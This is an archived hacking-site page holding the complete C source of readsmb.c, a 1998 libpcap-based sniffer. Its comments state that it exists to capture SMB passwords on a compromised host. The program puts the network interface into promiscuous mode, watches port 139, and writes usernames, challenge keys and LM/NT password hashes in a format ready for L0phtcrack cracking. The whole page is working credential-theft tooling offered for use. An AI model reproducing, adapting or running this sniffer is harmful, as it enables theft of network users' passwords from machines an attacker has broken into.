Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Hacking Techniques :: readsmb2.c

SMB Sniffer SNF:




/* readsmb.c v0.56
 * by the basement research <basementresearch@hotmail.com> 5/29/98
 *
 * Many thanks to L0pht Heavy Industries - without L0phtcrack this is worthless.
 * 
 * An implementation of the SMB sniffer that comes with l0phtcrack 2.0.  The 
 * purpose here is to provide an effective means of sniffing SMB passwords on 
 * a compromised host. Its too hard to execute a sniffer on a remote host with 
 * only an NT version available. 
 * 
 * If you don't have libpcap, you'll need to get it - its at ftp.ee.lbl.gov.
 * (Has there ever been a more useful government service than this?)
 * Tested on Linux 2.0.x (glibc1 and 2), and FreeBSD.  It will compile on 
 * Slow-aris, but it is totally untested (there will be a byte-ordering issue). 
 * 
 * This is pretty crude but functional.  I still don't even know what the second
 * field of the sniff file is for (the program simply inserts a '3').  I tested 
 * this with Win95, WinNT, and Samba clients (both smbclient LANMAN2 and NT1).  
 * I don't think it grabs the correct string for Administrator, because LC 
 * couldn't crack it (sometimes the real readsmb didn't seem to get it either 
 * - and sometimes it seemed to drop the username.  readsmb also didn't seem 
 * to always work for LANMAN2 protocol, this does).   
 *
 * The start_pcap() function was taken from "UNIX Network Programming - 
 * Networking APIs : Sockets and XTI" by Richard Stevens (great book.) 
 *
 * Officially dedicated to Nikki Steele. 
 *
 * Fbhepr pbqr vf fcrrpu!
 *                                                    jose chung
 *                                                    the basement research
 *
 * To compile :
 * cc -o readsmb readsmb.c -lpcap
 * Usage :
 * ./readsmb [output file] (otherwise to stdout)
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/signal.h>
#ifdef __FreeBSD__
#include <sys/socket.h>
#endif /* __FreeBSD__ */
#ifdef __sun			/* Solaris 2.x */
#define u_int32_t uint32_t
#include <sys/socket.h>
#endif /* Not FreeBSD, not Solaris.  Our default is Linux */
#include <net/if.h>
#include "pcap.h"

#define FILTER_CMD      "src port 139 or dst port 139"
#define TRUE    (1)

#define LM_PROT         0x0D
#define NT_PROT         0x11

#define SMB_SK_COMMAND  0x72
#define SMB_PW_COMMAND  0x73
#define TIMEOUT_VALUE   500

#define PW_OFFSET_NT12  105
#define PWNT_OFFSET_NT12        129
#define SK_OFFSET_NT12  112
#define USER_OFFSET_NT12        129

#define PWNT_OFFSET_LM2 75
#define PW_OFFSET_LM2   99
#define SK_OFFSET_LM2   104
#define USER_OFFSET_LM2 123

#define SMB_PORT        139

FILE *log = NULL;
char *device;
struct pcap_pkthdr hdr;
pcap_t *pfd;			/* File descriptor for pcap */
u_short link_offset = 0;	/* 0 if device = ppp0, 14 if device = eth0 */
int current_pkt_type = 0;
int neg_prot, pw_offset, sk_offset, user_offset;

void *
killed (int sig)
{
  fflush (log);
  if (log != NULL)
    fclose (log);
  exit (0);
}

char *
check_pkt (char *pkt)
{
  static u_short port;
  static u_char cmd;
  char *extracted;
  char *discard = NULL;
  u_short *port_ext;

  if ((extracted = (char *) malloc (sizeof (char))) == NULL)
    {
      puts ("Error allocating memory.");
      exit (0);
    }
  if ((port_ext = (u_short *) malloc (sizeof (u_short))) == NULL)
    {
      puts ("Error allocating memory.");
      exit (0);
    }
  memcpy (extracted, (pkt + 48), sizeof (u_char));
  memcpy (port_ext, (u_short *) (pkt + 20), sizeof (u_short));
  port = ntohs (*((u_short *) port_ext));
  cmd = *((u_char *) extracted);
  if (current_pkt_type == SMB_PW_COMMAND && (((int) cmd == SMB_PW_COMMAND) && (!(port == SMB_PORT))))
    {
      free (extracted);
      free (port_ext);
      return (pkt);
    }
  if (current_pkt_type == SMB_SK_COMMAND && (((int) cmd == SMB_SK_COMMAND) && (port == SMB_PORT)))
    {
      free (extracted);
      free (port_ext);
      return (pkt);
    }
  free (extracted);
  free (port_ext);
  return (discard);
}

char *
grab_pcap ()
{
  char *pptr = NULL;
  char *checked_pptr;

  while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
  pptr = pptr + link_offset;
  checked_pptr = check_pkt (pptr);
  return (checked_pptr);
}

char *
grabber_loop ()
{
  char *grabbed_pkt = NULL;

  while (grabbed_pkt == NULL)
    {
      grabbed_pkt = grab_pcap ();
    }
  return (grabbed_pkt);
}

void
start_pcap ()
{

  char cmd[80];
  int psize, datalink;
  struct bpf_program fcode;
  u_int localnet, netmask;
  char errbuf[PCAP_ERRBUF_SIZE];
  char link[] = "ppp0";

  psize = 300;			/* I'm not even sure what this does.   Did this come from Stevens too? */

  if ((device = pcap_lookupdev (errbuf)) == NULL)
    {
      printf ("pcap_lookupdev : %s\n", errbuf);
      exit (-1);
    }
  if (strcmp (device, link) == 0)
    {
      link_offset = 0;
    }
  else
    link_offset = 14;
  printf ("Selected network device %s\n", device);
  if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
      == NULL)
    {
      printf ("pcap_open_live : %s\n", errbuf);
      exit (-1);
    }
  puts ("Opened device successfully.");
  if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
    {
      printf ("pcap_lookupnet : %s\n", errbuf);
      exit (-1);
    }
  snprintf (cmd, sizeof (cmd), FILTER_CMD);
  printf ("Applying filter : %s\n", &cmd);
  if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
    {
      printf ("pcap_compile : %s\n", pcap_geterr (pfd));
      exit (-1);
    }
  if (pcap_setfilter (pfd, &fcode) < 0)
    {
      printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
      exit (-1);
    }
  if ((datalink = pcap_datalink (pfd)) < 0)
    {
      printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
      exit (-1);

    }
  printf ("The datalink is type %d\n", datalink);
}

char *
byte_convert_sk (char *pkt)
{
  char *pc1, *pc2, *pc3;
  u_long num1, num2, num3;
  char *converted;

  pc1 = (char *) malloc (sizeof (int));
  pc2 = (char *) malloc (sizeof (int));
  pc3 = (char *) malloc (sizeof (int));
  converted = (char *) malloc (17);
  bzero (converted, 17);
  neg_prot = get_prot (pkt);	/* This doesn't belong here. */
  if (neg_prot == LM_PROT)
    {
      pw_offset = PW_OFFSET_LM2;
      sk_offset = SK_OFFSET_LM2;
      user_offset = USER_OFFSET_LM2;
    }
  if (neg_prot == NT_PROT)
    {
      pw_offset = PW_OFFSET_NT12;
      sk_offset = SK_OFFSET_NT12;
      user_offset = USER_OFFSET_NT12;
    }
  memcpy (pc1, (pkt + sk_offset), sizeof (int));
  memcpy (pc2, (pkt + (sk_offset + 4)), sizeof (int));
  memcpy (pc3, (pkt + (sk_offset + 8)), sizeof (int));
  num1 = ntohl (*((u_long *) pc1));
  num2 = ntohl (*((u_long *) pc2));
  num3 = (u_long) ntohl (*((u_long *) pc3));
  num1 = (num1 << 8) >> 8;
  num3 = num3 >> 24;
  sprintf (converted, "%.6x%.8x%.2x", num1, num2, num3);
  free (pc1);
  free (pc2);
  free (pc3);
  return (converted);
}

int
get_prot (char *pkt)
{
  u_char *prot_code;
  int code = 0;

  prot_code = (u_char *) malloc (sizeof (u_char));
  memcpy (prot_code, (pkt + 76), 1);
  code = (int) *prot_code;
  return (code);
}


char *
byte_convert_user (char *pkt)
{
  char *pc1;

  pc1 = (char *) malloc (49);
  bzero (pc1, 49);
  strcpy (pc1, (pkt + user_offset));
  return (pc1);
}

char *
byte_convert_pw (char *pkt, int run)
{
  char *lmhash;
  char *pc1, *pc2, *pc3, *pc4, *pc5, *pc6;
  u_int num1, num2, num3, num4, num5, num6;

  lmhash = (char *) malloc (49);
  bzero (lmhash, 49);
  if ((run == 2) && (neg_prot == NT_PROT))
    {
      pw_offset = PWNT_OFFSET_NT12;
    }
  if ((run == 2) && (neg_prot == LM_PROT))
    {
      pw_offset = PWNT_OFFSET_LM2;
    }
  pc1 = (char *) malloc (sizeof (u_int));
  pc2 = (char *) malloc (sizeof (u_int));
  pc3 = (char *) malloc (sizeof (u_int));
  pc4 = (char *) malloc (sizeof (u_int));
  pc5 = (char *) malloc (sizeof (u_int));
  pc6 = (char *) malloc (sizeof (u_int));
  memcpy (pc1, (pkt + pw_offset), 4);
  memcpy (pc2, (pkt + (pw_offset + 4)), 4);
  memcpy (pc3, (pkt + (pw_offset + 8)), 4);
  memcpy (pc4, (pkt + (pw_offset + 12)), 4);
  memcpy (pc5, (pkt + (pw_offset + 16)), 4);
  memcpy (pc6, (pkt + (pw_offset + 20)), 4);
  num1 = ntohl (*((u_int *) pc1));
  num2 = ntohl (*((u_int *) pc2));
  num3 = ntohl (*((u_int *) pc3));
  num4 = ntohl (*((u_int *) pc4));
  num5 = ntohl (*((u_int *) pc5));
  num6 = ntohl (*((u_int *) pc6));
  sprintf (lmhash, "%.8x%.8x%.8x%.8x%.8x%.8x", num1, num2, num3, num4, num5, num6);
  free (pc1);
  free (pc2);
  free (pc3);
  free (pc4);
  free (pc5);
  free (pc6);
  return (lmhash);
}

void
main (int argc, char **argv)
{
  char *cur_pkt, *next_pkt;
  char *sk, *user, *pw, *ntpw, *output;

  signal (SIGINT, killed);
  signal (SIGTERM, killed);
  signal (SIGKILL, killed);
  signal (SIGQUIT, killed);

  if (argc > 2)
    {
      printf ("Usage : %s [output file]\n", *argv);
      exit (0);
    }
  if (argc == 1)
    {
      log = stdout;
    }
  else
    log = fopen (argv[1], "w");

  if ((argc == 2) && (!log))
    {
      puts ("Error opening logfile.");
      exit (0);
    }
  start_pcap ();
  while TRUE
    {
      output = (char *) malloc (172);
      bzero (output, 172);
      current_pkt_type = SMB_SK_COMMAND;
      cur_pkt = grabber_loop ();
      sk = byte_convert_sk (cur_pkt);
      current_pkt_type = SMB_PW_COMMAND;
      next_pkt = grabber_loop ();
      user = byte_convert_user (next_pkt);
      pw = byte_convert_pw (next_pkt, 1);
      ntpw = byte_convert_pw (next_pkt, 2);
      strcat (output, user);
      strncat (output, ":3:", 3);
      strcat (output, sk);
      strncat (output, ":", 1);
      strcat (output, pw);
      strncat (output, ":", 1);
      strcat (output, ntpw);
      fprintf (log, "%#s\n", output);
      fflush (log);
      free (output);
    }
}


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH